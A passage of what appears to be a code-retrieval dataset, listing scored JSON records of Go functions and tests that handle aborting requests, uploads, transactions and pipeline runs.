\"true\")\n\t// Enable buffering for the complete keyspace and not just a specific shard.\n\tflag.Set(\"buffer_keyspace_shards\", keyspace)\n\tdefer resetFlagsForTesting()\n\tb := New()\n\tif !explicitEnd {\n\t\t// Set value after constructor to work-around hardcoded minimum values.\n\t\tflag.Set(\"buffer_window\", \"100ms\")\n\t\tflag.Set(\"buffer_max_failover_duration\", \"100ms\")\n\t}\n\n\t// Buffer 2 requests. The second will be canceled and the first will be drained.\n\tstopped1 := issueRequest(context.Background(), t, b, failoverErr)\n\tif err := waitForRequestsInFlight(b, 1); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tctx2, cancel2 := context.WithCancel(context.Background())\n\tstopped2 := issueRequest(ctx2, t, b, failoverErr)\n\tif err := waitForRequestsInFlight(b, 2); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// Cancel second request before buffering stops.\n\tcancel2()\n\t// Canceled request will see an error from the buffer.\n\tif err := isCanceledError(<-stopped2); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif err := waitForRequestsInFlight(b, 1); err != nil {\n\t\tt.Fatal(err)\n\t}\n\t// Recorded max buffer usage stay at 2 although the second request was canceled.\n\tif got, want := lastRequestsInFlightMax.Counts()[statsKeyJoined], int64(2); got != want {\n\t\tt.Fatalf(\"wrong value for BufferRequestsInFlightMax: got = %v, want = %v\", got, want)\n\t}\n\n\tif explicitEnd {\n\t\tb.StatsUpdate(&discovery.LegacyTabletStats{\n\t\t\tTablet: newMaster,\n\t\t\tTarget: &querypb.Target{Keyspace: keyspace, Shard: shard, TabletType: topodatapb.TabletType_MASTER},\n\t\t\tTabletExternallyReparentedTimestamp: 1, // Use any value > 0.\n\t\t})\n\t}\n\n\t// Failover will end eventually.\n\tif err := waitForState(b, stateIdle); err != nil {\n\t\tt.Fatal(err)\n\t}\n\t// First request must have been drained without an error.\n\tif err := <-stopped1; err != nil {\n\t\tt.Fatalf(\"request should have been buffered and not returned an error: %v\", err)\n\t}\n\n\t// If buffering stopped implicitly, the explicit signal will still happen\n\t// shortly after. In that case, the buffer should ignore it.\n\tif !explicitEnd {\n\t\tb.StatsUpdate(&discovery.LegacyTabletStats{\n\t\t\tTablet: newMaster,\n\t\t\tTarget: &querypb.Target{Keyspace: keyspace, Shard: shard, TabletType: topodatapb.TabletType_MASTER},\n\t\t\tTabletExternallyReparentedTimestamp: 1, // Use any value > 0.\n\t\t})\n\t}\n\tif err := waitForState(b, stateIdle); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif err := waitForPoolSlots(b, *size); err != nil {\n\t\tt.Fatal(err)\n\t}\n}", "title": "" }, { "docid": "9a32b97a3492991848abf03f9d136728", "score": "0.53186655", "text": "func (*AbortSessionResult) Descriptor() ([]byte, []int) {\n\treturn file_lte_protos_abort_session_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "ce31f4a050633fd1be141e6e667e9129", "score": "0.5306391", "text": "func (app *App) Abort(w http.ResponseWriter, statusCode int) {\n\tw.WriteHeader(statusCode)\n}", "title": "" }, { "docid": "fdc99dc227b697c42eb350744e353fd5", "score": "0.5288609", "text": "func ClientClosedRequest(msg ...interface{}) *Fail {\n\tmessage := formatMessage(msg...)\n\treturn &Fail{\n\t\tSlug: ClientClosedRequestSlug,\n\t\tCode: 499,\n\t\tMessage: message,\n\t}\n}", "title": "" }, { "docid": "4238e01017856302178593c6ce3362ca", "score": "0.5284761", "text": "func abort(reason string) {\n\tfmt.Fprintln(os.Stderr, reason)\n\tos.Exit(1)\n}", "title": "" }, { "docid": "c6724510afe9fdd56e8d34833eef8628", "score": "0.5279525", "text": "func (o URLMapPathMatcherDefaultRouteActionFaultInjectionPolicyOutput) Abort() URLMapPathMatcherDefaultRouteActionFaultInjectionPolicyAbortPtrOutput {\n\treturn o.ApplyT(func(v URLMapPathMatcherDefaultRouteActionFaultInjectionPolicy) *URLMapPathMatcherDefaultRouteActionFaultInjectionPolicyAbort {\n\t\treturn v.Abort\n\t}).(URLMapPathMatcherDefaultRouteActionFaultInjectionPolicyAbortPtrOutput)\n}", "title": "" }, { "docid": "0aa3d4e13dc2f5ae937c6be58c55720a", "score": "0.5270418", "text": "func abort(funcName string, err error) {\n\tpanic(fmt.Sprintf(\"%s failed: %v\", funcName, err))\n}", "title": "" }, { "docid": "4fc5f25224a6a11d7ec1835a7a162d0d", "score": "0.52110565", "text": "func (tbtcs *TBTCSystem) CallLogFunderRequestedAbort(\n\t_abortOutputScript []uint8,\n\tblockNumber *big.Int,\n) error {\n\tvar result interface{} = nil\n\n\terr := chainutil.CallAtBlock(\n\t\ttbtcs.transactorOptions.From,\n\t\tblockNumber, nil,\n\t\ttbtcs.contractABI,\n\t\ttbtcs.caller,\n\t\ttbtcs.errorResolver,\n\t\ttbtcs.contractAddress,\n\t\t\"logFunderRequestedAbort\",\n\t\t&result,\n\t\t_abortOutputScript,\n\t)\n\n\treturn err\n}", "title": "" }, { "docid": "50b37fd231fc34b6a7934276c5d93743", "score": "0.52002454", "text": "func (c *Context) Abort() {\n c.index = MaxPlugins\n}", "title": "" }, { "docid": "4b9b18892aca80652c62b2dade413b8b", "score": "0.5196631", "text": "func (o URLMapPathMatcherPathRuleRouteActionFaultInjectionPolicyOutput) Abort() URLMapPathMatcherPathRuleRouteActionFaultInjectionPolicyAbortPtrOutput {\n\treturn o.ApplyT(func(v URLMapPathMatcherPathRuleRouteActionFaultInjectionPolicy) *URLMapPathMatcherPathRuleRouteActionFaultInjectionPolicyAbort {\n\t\treturn v.Abort\n\t}).(URLMapPathMatcherPathRuleRouteActionFaultInjectionPolicyAbortPtrOutput)\n}", "title": "" }, { "docid": "acb5f49179a53b9a8bce86757e7e74aa", "score": "0.51785195", "text": "func (client blobsClient) abortCopyResponder(resp pipeline.Response) (pipeline.Response, error) {\n\terr := validateResponse(resp, http.StatusOK, http.StatusNoContent)\n\tif resp == nil {\n\t\treturn nil, err\n\t}\n\treturn &BlobsAbortCopyResponse{rawResponse: resp.Response()}, err\n}", "title": "" }, { "docid": "d4f41fc2d81ad5bff4f2611b6f8404c3", "score": "0.5174291", "text": "func (*AbortProcedureResponse) Descriptor() ([]byte, []int) {\n\treturn file_Master_proto_rawDescGZIP(), []int{97}\n}", "title": "" }, { "docid": "6246defee97cf5b5e6ef5f03c1efbcd1", "score": "0.51566356", "text": "func Xabort(tls TLS) {\n\tprintln(string(debug.Stack()))\n\tX_Exit(tls, int32(127))\n}", "title": "" }, { "docid": "88ce67caa22f8b2d4d858755368b742a", "score": "0.5151305", "text": "func (_m *ConnectionAcceptor) AbortHandshake(attemptId string) {\n\t_m.Called(attemptId)\n}", "title": "" }, { "docid": "b9dd33d7ff411bcd7c016f6b6ff001e8", "score": "0.5125989", "text": "func (r *Reply) Abort(format string, a ...interface{}) {\n\tr.StatusCode = Aborted\n\tr.StatusMessage = fmt.Sprintf(format, a...)\n}", "title": "" }, { "docid": "e6fd668841461494e6fe48b2915d66c6", "score": "0.51235", "text": "func (o URLMapPathMatcherDefaultRouteActionFaultInjectionPolicyPtrOutput) Abort() URLMapPathMatcherDefaultRouteActionFaultInjectionPolicyAbortPtrOutput {\n\treturn o.ApplyT(func(v *URLMapPathMatcherDefaultRouteActionFaultInjectionPolicy) *URLMapPathMatcherDefaultRouteActionFaultInjectionPolicyAbort {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Abort\n\t}).(URLMapPathMatcherDefaultRouteActionFaultInjectionPolicyAbortPtrOutput)\n}", "title": "" }, { "docid": "320741bbff65c17d9a194958ff8ad25b", "score": "0.5121026", "text": "func abortOn(errCase string, e error) {\n\tif e != nil {\n\t\tfmt.Printf(\"[%s] %s error: %v\\n\", progname, errCase, e)\n\t\tos.Exit(1)\n\t}\n}", "title": "" }, { "docid": "59c6af25ef2b783af5e82c61c5278996", "score": "0.5090178", "text": "func (o URLMapDefaultRouteActionFaultInjectionPolicyOutput) Abort() URLMapDefaultRouteActionFaultInjectionPolicyAbortPtrOutput {\n\treturn o.ApplyT(func(v URLMapDefaultRouteActionFaultInjectionPolicy) *URLMapDefaultRouteActionFaultInjectionPolicyAbort {\n\t\treturn v.Abort\n\t}).(URLMapDefaultRouteActionFaultInjectionPolicyAbortPtrOutput)\n}", "title": "" }, { "docid": "0612bec732ff55bc859b7fa4c1e193ca", "score": "0.50827134", "text": "func TestExtantAborts(t *testing.T) {\n\troot := \"testdata/example.com/testCreateInitializedAborts\"\n\tdefer using(t, root)()\n\n\t// New once\n\tclient := fn.New(fn.WithRegistry(TestRegistry))\n\tif err := client.New(context.Background(), fn.Function{Root: root}); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// New again should fail as already initialized\n\tif err := client.New(context.Background(), fn.Function{Root: root}); err == nil {\n\t\tt.Fatal(\"error expected initilizing a path already containing an initialized Function\")\n\t}\n}", "title": "" }, { "docid": "09b65f10dfff49b519bd830696116b4c", "score": "0.50464284", "text": "func (o URLMapPathMatcherPathRuleRouteActionFaultInjectionPolicyPtrOutput) Abort() URLMapPathMatcherPathRuleRouteActionFaultInjectionPolicyAbortPtrOutput {\n\treturn o.ApplyT(func(v *URLMapPathMatcherPathRuleRouteActionFaultInjectionPolicy) *URLMapPathMatcherPathRuleRouteActionFaultInjectionPolicyAbort {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Abort\n\t}).(URLMapPathMatcherPathRuleRouteActionFaultInjectionPolicyAbortPtrOutput)\n}", "title": "" }, { "docid": "47a0141e2b704e5ef7b3915c48d3c3ec", "score": "0.5042726", "text": "func abort(p Participant) error {\n\tconn, err := net.Dial(\"tcp\", p.connectionString)\n\tif err != nil {\n\t\tfmt.Println(\"abort: can't connect to participant\")\n\t\treturn err\n\t}\n\tfmt.Fprint(conn, \"abort\\n\")\n\treturn nil\n}", "title": "" }, { "docid": "7cd52fb21fca82c7373ae005db082f2c", "score": "0.50395936", "text": "func (e *EDAS) abortChangeOrder(changeOrderID string) error {\n\tvar req *api.AbortChangeOrderRequest\n\tvar err error\n\treq = api.CreateAbortChangeOrderRequest()\n\treq.Headers = AppendCommonHeaders(req.Headers)\n\treq.SetDomain(e.addr)\n\treq.ChangeOrderId = changeOrderID\n\t_, err = e.client.AbortChangeOrder(req)\n\tif err != nil {\n\t\tlogrus.Errorf(\"[EDAS] failed to abort change order(%s), err: %v\", changeOrderID, err)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "0bcd5d1c3df46ebb1b14693511cba084", "score": "0.5024094", "text": "func (c *Connection) Abort() error {\n\tresp, code, err := c.sendAndReceive(\"ABOR\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tif code == noTransferInProgress || code == closingDataConnection {\n\t\treturn nil\n\t}\n\tif code == connectionClosed_TransferAborter {\n\t\tresp, code, err = c.receive()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif code == closingDataConnection {\n\t\t\treturn nil\n\t\t}\n\t\treturn errorMessage(\"ABOR\", resp)\n\t}\n\treturn errorMessage(\"ABOR\", resp)\n}", "title": "" }, { "docid": "59c6d8ce1098d33bcf5387de05b5f28e", "score": "0.50220567", "text": "func (mmAbort *TerminationHandlerMock) AbortBeforeCounter() uint64 {\n\treturn mm_atomic.LoadUint64(&mmAbort.beforeAbortCounter)\n}", "title": "" }, { "docid": "7fa6b67d8c091012f492d5e1e1ef0258", "score": "0.5007797", "text": "func (c *Controller) handlePipelineRunAbort(ctx context.Context, pipelineRun k8s.PipelineRun) error {\n\tctx, logger := extendContextLoggerWithPipelineRunInfo(ctx, pipelineRun.GetAPIObject())\n\n\tintent := pipelineRun.GetSpec().Intent\n\tif intent == api.IntentAbort && pipelineRun.GetStatus().Result == api.ResultUndefined {\n\t\tlogger.V(3).Info(\"Pipeline run was aborted\")\n\t\tpipelineRun.UpdateMessage(\"Aborted\")\n\t\treturn c.updateStateAndResult(ctx, pipelineRun, api.StateCleaning, api.ResultAborted, metav1.Now())\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "5239d15515836096daa3e243c1bb0a80", "score": "0.50051606", "text": "func (p *driver) Abort() {\n\tp.apiExecutor.shutdown()\n\tp.playAuthExecutor.shutdown()\n\tp.downloadExecutor.shutdown()\n}", "title": "" }, { "docid": "50149a4a30ff48e9cd73a21752a5d423", "score": "0.49952006", "text": "func (*AbortInfo) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_networkmanagement_v1_trace_proto_rawDescGZIP(), []int{15}\n}", "title": "" }, { "docid": "16d684785cfca7c35dd210f694ff2c65", "score": "0.4994014", "text": "func TestExtantAborts(t *testing.T) {\n\troot := \"testdata/example.com/testCreateInitializedAborts\"\n\tif err := os.MkdirAll(root, 0744); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer os.RemoveAll(root)\n\n\t// New once\n\tclient := bosonFunc.New(bosonFunc.WithRegistry(TestRegistry))\n\tif err := client.New(context.Background(), bosonFunc.Function{Root: root}); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// New again should fail as already initialized\n\tif err := client.New(context.Background(), bosonFunc.Function{Root: root}); err == nil {\n\t\tt.Fatal(\"error expected initilizing a path already containing an initialized Function\")\n\t}\n}", "title": "" }, { "docid": "385da4ca5539308ff5ce7d3b23460ebf", "score": "0.49912253", "text": "func (o RegionUrlMapPathMatcherPathRuleRouteActionFaultInjectionPolicyOutput) Abort() RegionUrlMapPathMatcherPathRuleRouteActionFaultInjectionPolicyAbortPtrOutput {\n\treturn o.ApplyT(func(v RegionUrlMapPathMatcherPathRuleRouteActionFaultInjectionPolicy) *RegionUrlMapPathMatcherPathRuleRouteActionFaultInjectionPolicyAbort {\n\t\treturn v.Abort\n\t}).(RegionUrlMapPathMatcherPathRuleRouteActionFaultInjectionPolicyAbortPtrOutput)\n}", "title": "" }, { "docid": "e3466b50e6123a6f3be8c2fd28603d75", "score": "0.49854872", "text": "func Abort(output ...interface{}) {\n\terrStr := \"\"\n\tif len(output) > 0 {\n\t\terrStr = fmt.Sprintf(\"%v\", output[0])\n\t\tif len(output) > 1 {\n\t\t\terrStr = fmt.Sprintf(errStr, output[1:]...)\n\t\t}\n\t}\n\tpanic(errStr)\n}", "title": "" }, { "docid": "e3466b50e6123a6f3be8c2fd28603d75", "score": "0.49854872", "text": "func Abort(output ...interface{}) {\n\terrStr := \"\"\n\tif len(output) > 0 {\n\t\terrStr = fmt.Sprintf(\"%v\", output[0])\n\t\tif len(output) > 1 {\n\t\t\terrStr = fmt.Sprintf(errStr, output[1:]...)\n\t\t}\n\t}\n\tpanic(errStr)\n}", "title": "" }, { "docid": "7efa7a3f93287d5e3605ade81c74b9c1", "score": "0.49681935", "text": "func AbortStatus(runID RunID, tags tags.LogTags) (r RunStatus) {\n\tr.RunID = runID\n\tr.State = ABORTED\n\tr.LogTags = tags\n\treturn r\n}", "title": "" }, { "docid": "a7fc67fcfefe6e0c3c2593a86785c1b1", "score": "0.49460587", "text": "func (o RegionUrlMapDefaultRouteActionFaultInjectionPolicyOutput) Abort() RegionUrlMapDefaultRouteActionFaultInjectionPolicyAbortPtrOutput {\n\treturn o.ApplyT(func(v RegionUrlMapDefaultRouteActionFaultInjectionPolicy) *RegionUrlMapDefaultRouteActionFaultInjectionPolicyAbort {\n\t\treturn v.Abort\n\t}).(RegionUrlMapDefaultRouteActionFaultInjectionPolicyAbortPtrOutput)\n}", "title": "" }, { "docid": "7d0d041121d092c6c7b34a8620e8855c", "score": "0.49414784", "text": "func (o RegionUrlMapPathMatcherRouteRuleRouteActionFaultInjectionPolicyOutput) Abort() RegionUrlMapPathMatcherRouteRuleRouteActionFaultInjectionPolicyAbortPtrOutput {\n\treturn o.ApplyT(func(v RegionUrlMapPathMatcherRouteRuleRouteActionFaultInjectionPolicy) *RegionUrlMapPathMatcherRouteRuleRouteActionFaultInjectionPolicyAbort {\n\t\treturn v.Abort\n\t}).(RegionUrlMapPathMatcherRouteRuleRouteActionFaultInjectionPolicyAbortPtrOutput)\n}", "title": "" }, { "docid": "c5fbebf9b1198e4baf182225df19bcf1", "score": "0.4930992", "text": "func (c *shardSyncChan) OnAbort(_ context.Context, req *AbortRequest) error {\n\tst := c.lastOp.get()\n\tif st.ID == req.ID {\n\t\tc.coordChan <- *req\n\t\treturn nil\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "00e539a8a49a973cb79c982b01ae0456", "score": "0.49199164", "text": "func (e VoidResponseValidationError) Reason() string { return e.reason }", "title": "" }, { "docid": "9bac047ac551de932a51a7cbeb52cabb", "score": "0.49018857", "text": "func (o URLMapDefaultRouteActionFaultInjectionPolicyPtrOutput) Abort() URLMapDefaultRouteActionFaultInjectionPolicyAbortPtrOutput {\n\treturn o.ApplyT(func(v *URLMapDefaultRouteActionFaultInjectionPolicy) *URLMapDefaultRouteActionFaultInjectionPolicyAbort {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Abort\n\t}).(URLMapDefaultRouteActionFaultInjectionPolicyAbortPtrOutput)\n}", "title": "" }, { "docid": "afedbc43a97f8223d7e40b57a3fe536a", "score": "0.4899165", "text": "func (server *ttpServer) handleAbortedSender(manager *entities.ArchivesManager, senderIndex uint32) (bool, *tAPI.TTPResponse, error) {\n\tif manager.HasReceivedAbortToken(senderIndex) {\n\t\tdAPI.DLog(\"Sender has already contacted the ttp. He is dishonnest.\")\n\t\tmanager.AddToDishonest(senderIndex)\n\n\t\tok, err := manager.DB.Get(\"signatures\").UpdateByID(*(manager.Archives))\n\t\tif !ok {\n\t\t\tfmt.Fprintln(os.Stderr, err)\n\t\t\treturn true, nil, errors.New(InternalError)\n\t\t}\n\n\t\treturn true, &tAPI.TTPResponse{\n\t\t\tAbort: true,\n\t\t\tContract: nil,\n\t\t}, nil\n\t}\n\tdAPI.DLog(\"sender has never contacted the ttp before\")\n\treturn false, nil, nil\n}", "title": "" }, { "docid": "6ccf2316aad1d740b25034b779aecda4", "score": "0.48941493", "text": "func (o RegionUrlMapPathMatcherPathRuleRouteActionFaultInjectionPolicyPtrOutput) Abort() RegionUrlMapPathMatcherPathRuleRouteActionFaultInjectionPolicyAbortPtrOutput {\n\treturn o.ApplyT(func(v *RegionUrlMapPathMatcherPathRuleRouteActionFaultInjectionPolicy) *RegionUrlMapPathMatcherPathRuleRouteActionFaultInjectionPolicyAbort {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Abort\n\t}).(RegionUrlMapPathMatcherPathRuleRouteActionFaultInjectionPolicyAbortPtrOutput)\n}", "title": "" }, { "docid": "429ce9ee55af7df56d03f92938e44471", "score": "0.4892105", "text": "func (app *App) JSONAbort(w http.ResponseWriter, statusCode int) {\n\tw.Header().Set(CTKEY, CTJSON)\n\tw.WriteHeader(statusCode)\n\n\tresponse := make(map[string]string)\n\tresponse[\"code\"] = strconv.Itoa(statusCode)\n\tresponse[\"reason\"] = http.StatusText(statusCode)\n\n\tif err := json.NewEncoder(w).Encode(response); err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "057774ccd6c96f38d0f2424ef0f9d7d3", "score": "0.48804694", "text": "func (e VoidResponseValidationError) Cause() error { return e.cause }", "title": "" }, { "docid": "022ca0aafb694b66df6ba73196f2efdc", "score": "0.48556396", "text": "func (o RegionUrlMapPathMatcherRouteRuleRouteActionFaultInjectionPolicyPtrOutput) Abort() RegionUrlMapPathMatcherRouteRuleRouteActionFaultInjectionPolicyAbortPtrOutput {\n\treturn o.ApplyT(func(v *RegionUrlMapPathMatcherRouteRuleRouteActionFaultInjectionPolicy) *RegionUrlMapPathMatcherRouteRuleRouteActionFaultInjectionPolicyAbort {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Abort\n\t}).(RegionUrlMapPathMatcherRouteRuleRouteActionFaultInjectionPolicyAbortPtrOutput)\n}", "title": "" }, { "docid": "dddbe7ad74de6e0e5f9f3690bc721647", "score": "0.48380175", "text": "func ClientClosedRequestf(format string, args ...interface{}) *Fail {\n\tmessage := fmt.Sprintf(format, args...)\n\treturn &Fail{\n\t\tSlug: ClientClosedRequestSlug,\n\t\tCode: 499,\n\t\tMessage: message,\n\t}\n}", "title": "" }, { "docid": "156068c1bd473a0814bd185f11005043", "score": "0.4837845", "text": "func (o *Object) abortUpload(ctx context.Context, SessionID string) (err error) {\n\topts := rest.Opts{\n\t\tMethod: \"DELETE\",\n\t\tPath: \"/files/upload_sessions/\" + SessionID,\n\t\tRootURL: uploadURL,\n\t\tNoResponse: true,\n\t}\n\tvar resp *http.Response\n\terr = o.fs.pacer.Call(func() (bool, error) {\n\t\tresp, err = o.fs.srv.Call(ctx, &opts)\n\t\treturn shouldRetry(ctx, resp, err)\n\t})\n\treturn err\n}", "title": "" }, { "docid": "89cf4564e780d06ebd013c0c8315061b", "score": "0.48360965", "text": "func TestDoubleFault(t *testing.T) {\n\tbackend := memory.New()\n\tnamespace, err := backend.Namespace(\"\")\n\tif !assert.NoError(t, err) {\n\t\treturn\n\t}\n\t_, err = namespace.SetWorkSpec(map[string]interface{}{\n\t\t\"name\": \"spec\",\n\t})\n\tif !assert.NoError(t, err) {\n\t\treturn\n\t}\n\n\trouter := NewRouter(backend)\n\treq := &http.Request{\n\t\tMethod: http.MethodGet,\n\t\tURL: &url.URL{\n\t\t\tPath: \"/namespace/-/work_spec/spec\",\n\t\t},\n\t\tProto: \"HTTP/1.1\",\n\t\tProtoMajor: 1,\n\t\tProtoMinor: 1,\n\t\tHeader: http.Header{},\n\t\tClose: true,\n\t\tHost: \"localhost\",\n\t}\n\tresp := &failResponseWriter{}\n\trouter.ServeHTTP(resp, req)\n\tassert.Equal(t, http.StatusOK, resp.StatusCode)\n}", "title": "" }, { "docid": "d3e9a87ed8c7451666a89cc715a4db74", "score": "0.4832445", "text": "func (m *TerminationHandlerMock) MinimockAbortInspect() {\n\tfor _, e := range m.AbortMock.expectations {\n\t\tif mm_atomic.LoadUint64(&e.Counter) < 1 {\n\t\t\tm.t.Errorf(\"Expected call to TerminationHandlerMock.Abort with params: %#v\", *e.params)\n\t\t}\n\t}\n\n\t// if default expectation was set then invocations count should be greater than zero\n\tif m.AbortMock.defaultExpectation != nil && mm_atomic.LoadUint64(&m.afterAbortCounter) < 1 {\n\t\tif m.AbortMock.defaultExpectation.params == nil {\n\t\t\tm.t.Error(\"Expected call to TerminationHandlerMock.Abort\")\n\t\t} else {\n\t\t\tm.t.Errorf(\"Expected call to TerminationHandlerMock.Abort with params: %#v\", *m.AbortMock.defaultExpectation.params)\n\t\t}\n\t}\n\t// if func was set then invocations count should be greater than zero\n\tif m.funcAbort != nil && mm_atomic.LoadUint64(&m.afterAbortCounter) < 1 {\n\t\tm.t.Error(\"Expected call to TerminationHandlerMock.Abort\")\n\t}\n}", "title": "" }, { "docid": "ccfa9c9273e3326b4d04c9b430fc9fb2", "score": "0.4825176", "text": "func (m MultipartUpload) Abort() error {\n\t_, err := m.svc.AbortMultipartUpload(&s3.AbortMultipartUploadInput{\n\t\tBucket: m.res.Bucket,\n\t\tKey: m.res.Key,\n\t\tUploadId: m.res.UploadId,\n\t})\n\treturn err\n}", "title": "" }, { "docid": "4dacf76e31564f1543b3e484a3557449", "score": "0.4818131", "text": "func (event *Event) Abort(abort bool) {\n\tevent.aborted = abort\n}", "title": "" }, { "docid": "9b463380d6a83cf2d0d581b89fcf80b3", "score": "0.4818099", "text": "func Abort(a, b, c, d, e int) int {\n\targ := []int{a, b, c, d, e}\n\tsort.Sort(sort.IntSlice(arg))\n\treturn arg[2]\n}", "title": "" }, { "docid": "a0f93ad8fb798b8c616d338ace90d28e", "score": "0.48046464", "text": "func (o *BulkInsertOperation) Abort() error {\n\tif o.operationID == -1 {\n\t\treturn nil // nothing was done, nothing to kill\n\t}\n\n\tif err := o.WaitForID(); err != nil {\n\t\treturn err\n\t}\n\n\tcommand, err := NewKillOperationCommand(i64toa(o.operationID))\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = o.requestExecutor.ExecuteCommand(command, nil)\n\tif err != nil {\n\t\tif _, ok := err.(*RavenError); ok {\n\t\t\treturn newBulkInsertAbortedError(\"Unable to kill ths bulk insert operation, because it was not found on the server.\")\n\t\t}\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "7c6dc0006318839c5c39f90766763b8a", "score": "0.47985628", "text": "func (executor *transactionExecutor) Abort() error {\n\treturn errors.New(\"transaction aborted\")\n}", "title": "" }, { "docid": "3e061728679d0f40ae76c25778c4d8be", "score": "0.47946104", "text": "func (s *ServerTestSuite) TestAbortMerge() {\n\tvar err error\n\n\t// Put a target bundle and a conflict on the host FHIR server.\n\tresource, err := fhirutil.LoadAndPostResource(s.FHIRServer.URL, \"OperationOutcome\", \"../fixtures/operation_outcomes/oo_0.json\")\n\ts.NoError(err)\n\tconflict, ok := resource.(*models.OperationOutcome)\n\ts.True(ok)\n\n\tresource, err = fhirutil.LoadAndPostResource(s.FHIRServer.URL, \"Bundle\", \"../fixtures/bundles/joey_chestnut_bundle.json\")\n\ts.NoError(err)\n\ttarget, ok := resource.(*models.Bundle)\n\ts.True(ok)\n\n\t// Put the merge state in mongo.\n\tc1 := make(state.ConflictMap)\n\tc1[conflict.Id] = &state.ConflictState{\n\t\tOperationOutcomeURL: s.FHIRServer.URL + \"/OperationOutcome/\" + conflict.Id,\n\t\tResolved: false,\n\t\tTargetResource: state.TargetResource{\n\t\t\tResourceID: bson.NewObjectId().Hex(),\n\t\t\tResourceType: \"Patient\",\n\t\t},\n\t}\n\tm1 := &state.MergeState{\n\t\tMergeID: bson.NewObjectId().Hex(),\n\t\tCompleted: false,\n\t\tTargetURL: s.FHIRServer.URL + \"/Bundle/\" + target.Id,\n\t\tConflicts: c1,\n\t}\n\tmergeID, err := s.insertMergeState(m1)\n\ts.NoError(err)\n\n\t// Make the request.\n\tres, err := http.Post(s.PTMergeServer.URL+\"/merge/\"+mergeID+\"/abort\", \"\", nil)\n\n\t// Check the response. There should be no response body.\n\ts.Equal(http.StatusNoContent, res.StatusCode)\n}", "title": "" }, { "docid": "1cd5f937bdf626b756dd7477339349fb", "score": "0.4788001", "text": "func (j *Job) Abort() <-chan error {\n\tresult := make(chan error, j.runnerCount)\n\twg := sync.WaitGroup{}\n\twg.Add(j.runnerCount)\n\n\tgo func() {\n\t\twg.Wait()\n\t\tclose(result)\n\t}()\n\n\tfor i := 0; i < j.runnerCount; i++ {\n\t\tgo func(index int) {\n\t\t\tdefer wg.Done()\n\n\t\t\trun := j.running[index]\n\t\t\tabortDone := make(chan error)\n\t\t\tdefer DefaultLogger.Debug(fmt.Sprintf(`Aborted stage \"%s\"`, run.Runner.Name()))\n\n\t\t\tselect {\n\t\t\tcase <-time.After(AbortTimeout):\n\t\t\t\tDefaultLogger.Warn(fmt.Sprintf(`Sending abort signal for stage \"%s\" timed out. It doesn't seem to be abortable`, run.Runner.Name()))\n\t\t\t\tresult <- fmt.Errorf(\"Stage %s timed out while sending abort\", run.Runner.Name())\n\t\t\tcase run.AbortChan <- abortDone:\n\t\t\t\tif asNoAbort, isNoErrAbortRunner := run.Runner.(NoErrAbortRunner); isNoErrAbortRunner && asNoAbort.SkipAbortErr() {\n\t\t\t\t\tresult <- nil\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tselect {\n\t\t\t\tcase <-time.After(AbortTimeout):\n\t\t\t\t\tDefaultLogger.Warn(fmt.Sprintf(`Aborting stage \"%s\" timed out`, run.Runner.Name()))\n\t\t\t\t\tresult <- fmt.Errorf(\"Stage %s timed out while aborting\", run.Runner.Name())\n\t\t\t\tcase err := <-abortDone:\n\t\t\t\t\tresult <- err\n\t\t\t\t}\n\t\t\t}\n\t\t}(i)\n\t}\n\treturn result\n}", "title": "" }, { "docid": "af0b9e389e4dc16e25e88ec165db9b15", "score": "0.47845152", "text": "func (client blobsClient) abortCopyPreparer(copyID string, copyActionAbortConstant string, timeout *int32, leaseID *string, requestID *string) (pipeline.Request, error) {\n\treq, err := pipeline.NewRequest(\"PUT\", client.url, nil)\n\tif err != nil {\n\t\treturn req, pipeline.NewError(err, \"failed to create request\")\n\t}\n\tparams := req.URL.Query()\n\tparams.Set(\"copyid\", copyID)\n\tif timeout != nil {\n\t\tparams.Set(\"timeout\", fmt.Sprintf(\"%v\", *timeout))\n\t}\n\tparams.Set(\"comp\", \"copy\")\n\treq.URL.RawQuery = params.Encode()\n\tif leaseID != nil {\n\t\treq.Header.Set(\"x-ms-lease-id\", *leaseID)\n\t}\n\treq.Header.Set(\"x-ms-copy-action\", copyActionAbortConstant)\n\treq.Header.Set(\"x-ms-version\", ServiceVersion)\n\tif requestID != nil {\n\t\treq.Header.Set(\"x-ms-client-request-id\", *requestID)\n\t}\n\treturn req, nil\n}", "title": "" }, { "docid": "be98afa221d448e63eb8b83194d8ee2c", "score": "0.47843692", "text": "func (AbortSessionResult_Code) EnumDescriptor() ([]byte, []int) {\n\treturn file_lte_protos_abort_session_proto_rawDescGZIP(), []int{1, 0}\n}", "title": "" }, { "docid": "530138b89ff117e32a878044d5e49b9b", "score": "0.4783509", "text": "func (*RollbackRequest) Descriptor() ([]byte, []int) {\n\treturn file_requests_proto_rawDescGZIP(), []int{18}\n}", "title": "" }, { "docid": "c0b0fa47bb2754a397e1c3221e1d3bf6", "score": "0.47805634", "text": "func (m *MockService) Abort(arg0 runner.RunID) (runner.RunStatus, error) {\n\tret := m.ctrl.Call(m, \"Abort\", arg0)\n\tret0, _ := ret[0].(runner.RunStatus)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "eccd4a3474ecb319291d3763f7c2ffb3", 